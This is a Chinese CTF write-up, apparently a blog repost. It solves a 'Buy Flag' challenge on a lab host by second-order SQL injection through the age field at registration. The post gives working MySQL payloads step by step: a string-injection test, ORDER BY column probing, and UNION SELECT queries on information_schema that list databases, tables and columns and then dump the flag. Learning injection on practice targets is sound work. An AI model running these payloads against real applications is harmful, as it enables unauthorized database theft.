二次注入的学习--Buy Flag(http://10.112.68.215:10002)

这次有做一个二次注入的天枢CTF题目,算是完整地理解了一遍注入的知识。来,启航。
 
1.判断注入点
    经过对题目的实践分析,知道注册时需要输入年龄大于18岁,但在登录后界面,年龄因为太大不能接触flag。问题在年龄上,在找各种框框,锁定目标在注册时年龄框框那儿了。接下来是重点了。
    之前的实践已知,正常的小于18岁的数字是通不过注册的,尝试使用十六进制(数据库可以解析十六进制为真正的数据哦)。
    1的十六进制通过了,emmmmm,这里是注入点。调皮地尝试登陆看看flag。
    提示信息没有显示flag。找到注入点当然只是个开始咯,接下来利用注入点。
 
2.判断注入类型
    注入类型有两种:数字和字符注入。根据构造的逻辑错误语句反馈的结果判断注入类型,如果返回界面和之前界面不一样,则说明是此注入类型。
    尝试数字注入。1 and 1=2 -- (猜测它是mysql数据库)
 

    用刚注册的账户成功登录,界面和之前界面一样。说明不是数字注入。
 
    尝试字符注入。1' and 1=2 -- 

    看见没,显示的界面发生了变化,说明此错误语句被执行,此注入属于字符注入。
 
3.判断字段。
    1' order by 1 -- 
 

    当字段为1时,回显内容。
    
    1' order by 2 -- 

    当字段为2时,无回显内容。说明能够在界面回显的字段只有一个。
 
4.依次查出flag
第一步查出数据库。
    1' and 1=2 union select group_concat(schema_name) from information_schema.schemata -- 
    很明显,【childhappy】是目标数据库。
第二步查表名。
    1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='childhappy' -- 
    emmmmmmmmmmm,猜测py_flag是目标表。
第三步查列名。
    1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema='childhappy' and table_name='py_flag' -- 
    好,tsctf_fla9里面应该有我们需要的东西。
第四步获取flag。
    1' and 1=2 union select group_concat(tsctf_fla9) from childhappy.py_flag -- 
    好嘞,愉快地结束。
 
 
 
 
原文地址:https://www.cnblogs.com/HYWZ36/p/10295510.html